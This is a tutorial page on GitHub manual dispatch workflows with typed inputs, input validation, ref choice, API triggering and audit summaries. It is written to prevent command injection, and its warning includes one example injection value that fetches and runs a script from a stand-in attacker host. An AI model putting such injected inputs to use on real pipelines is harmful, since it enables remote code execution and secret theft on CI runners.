Manual dispatch workflows with inputs Jump to heading

Some pipelines should run only when a person decides: deploy this commit to staging, rebuild the documentation site, rotate a credential, re-run a data migration for one customer. Bolting these onto push triggers with magic commit messages or empty commits is fragile and leaves noise in history. A manual dispatch trigger — workflow_dispatch on GitHub, a manually started pipeline with variables on GitLab — gives such jobs a proper entry point: a button and an API call, with typed inputs, choice lists and defaults. Handled carelessly, inputs also become an injection path into shell commands. This page builds a manual workflow that is easy to run correctly and hard to misuse, within CI/CD pipeline trigger mapping.

When to use this approach Jump to heading

  • An operation should run on demand, with parameters, rather than on every push.
  • People currently trigger it with empty commits, special branch names or commit-message keywords.
  • You want the same job runnable from the web interface, the CLI and other automation.
  • The operation is sensitive — a deploy or a data change — and needs input validation and an audit trail.

Step 1 — Declare typed inputs with defaults Jump to heading

Declare each input with a type, a description and, where possible, a fixed set of choices. Choices are the strongest form of validation: the forge rejects anything not on the list before the workflow starts.

# .github/workflows/deploy.yml
on:
  workflow_dispatch:
    inputs:
      environment:
        description: "Where to deploy"
        type: choice
        options: [staging, production]
        default: staging
      version:
        description: "Release tag to deploy, e.g. v2.4.1"
        type: string
        required: true
      dry_run:
        description: "Plan only, change nothing"
        type: boolean
        default: true
Input types and what they protect againstA choice input limits values to a fixed list enforced by the forge. A boolean input cannot carry free text. An environment input ties the run to protected environment rules. A string input is free text and needs validation in the workflow before use.choicefixed listenforced by forgebooleanno free textenvironmentprotection rulesstringvalidate before useprefer the first three; every string input is a validation task

Defaulting dry_run to true means the safest outcome is the one a hurried click produces.

Step 2 — Validate string inputs before anything uses them Jump to heading

String inputs can contain anything, including shell metacharacters. Never interpolate them directly into a run: script with ${{ }}, which pastes the text into the script before the shell parses it. Pass them through environment variables and validate the format first.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    steps:
      - name: Validate inputs
        env: { VERSION: "${{ inputs.version }}" }
        run: |
          echo "$VERSION" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+$' || { echo "invalid version: $VERSION"; exit 1; }
          git ls-remote --exit-code --tags origin "refs/tags/$VERSION" >/dev/null || { echo "no such tag"; exit 1; }
      - uses: actions/checkout@v4
        with: { ref: "${{ inputs.version }}" }
      - run: ./scripts/deploy.sh --env "$ENVIRONMENT" ${DRY_RUN:+--dry-run}
        env:
          ENVIRONMENT: ${{ inputs.environment }}
          DRY_RUN: ${{ inputs.dry_run && '1' || '' }}

⚠️ SAFETY WARNING: Writing run: ./deploy.sh ${{ inputs.version }} lets anyone who can dispatch the workflow inject commands — a version of v1.0.0; curl attacker.example | sh runs both. Always pass inputs as environment variables and quote them in the script. Anyone with write access can dispatch workflows, so treat inputs as untrusted even inside your own organisation.

Step 3 — Choose the ref the workflow runs from Jump to heading

A manual dispatch runs the workflow file from a ref the person selects — by default, the default branch. The checked-out code is that ref too, unless a step checks out something else. For deploys, separate the two: run the workflow definition from main, and check out the release tag named in the input.

# Run from the CLI, choosing the workflow's ref and the inputs
gh workflow run deploy.yml --ref main -f environment=staging -f version=v2.4.1 -f dry_run=false
gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')"
The workflow's ref against the deployed refThe ref chosen when dispatching decides which version of the workflow file runs. The input naming a release tag decides which code is deployed. Keeping the workflow on main and the deployed code on a tag means a feature branch cannot alter the deploy logic.--ref (workflow source)version input (what ships)typicallymaina release tagdecidesdeploy logicdeployed coderisk if a branchmodified deploy scriptunreleased coderestrict dispatch from non-default refs for sensitive workflows

Environment protection rules can restrict which refs may deploy to an environment, so a dispatch from a feature branch cannot reach production even if someone selects it; the setup mirrors protecting CI signing keys with environment secrets.

Step 4 — Trigger it from other automation Jump to heading

The same workflow can be started by scripts, chat bots or other workflows through the API, with the same inputs and validation.

gh api -X POST "repos/$OWNER/$REPO/actions/workflows/deploy.yml/dispatches" \
  -f ref=main -f 'inputs[environment]=staging' -f 'inputs[version]=v2.4.1' -f 'inputs[dry_run]=true'

A workflow dispatching another needs a token with actions: write; the default job token can do this within the same repository.

Step 5 — Leave an audit trail Jump to heading

Manual runs are deliberate actions and should be easy to trace: who ran what, with which inputs. The run records the actor; add the inputs to the job summary so they are visible without opening logs.

      - name: Record inputs
        run: |
          {
            echo "### Deploy request"
            echo "- actor: $GITHUB_ACTOR"
            echo "- environment: $ENVIRONMENT"
            echo "- version: $VERSION"
            echo "- dry run: ${DRY_RUN:-no}"
          } >> "$GITHUB_STEP_SUMMARY"
        env:
          ENVIRONMENT: ${{ inputs.environment }}
          VERSION: ${{ inputs.version }}
          DRY_RUN: ${{ inputs.dry_run && 'yes' || '' }}
A safe manual deployA person or script dispatches the workflow from main with an environment, a version and a dry-run flag. The workflow validates the version against a pattern and the list of tags, waits for environment approval, checks out the tag, deploys, and records who asked for what.DispatchUI, CLI or APIValidatepattern + tag existsApproveenvironment rulesDeploy tagdry run by defaultSummaryactor + inputsevery step a careless click could skip is enforced by the workflow instead

Validation checklist Jump to heading

Frequently Asked Questions Jump to heading

Why does the Run workflow button not appear? Jump to heading

The workflow file with the workflow_dispatch trigger must exist on the default branch. Adding it on a feature branch does not show the button until it is merged.

How many inputs can a dispatch have? Jump to heading

GitHub allows a limited number of top-level inputs (currently ten on most plans). For more, accept a single JSON string input and validate it with a schema in the first step.

Can scheduled runs reuse the same workflow? Jump to heading

Yes. Add a schedule trigger alongside workflow_dispatch; inputs are empty on scheduled runs, so read them with defaults, such as ${{ inputs.environment || 'staging' }}.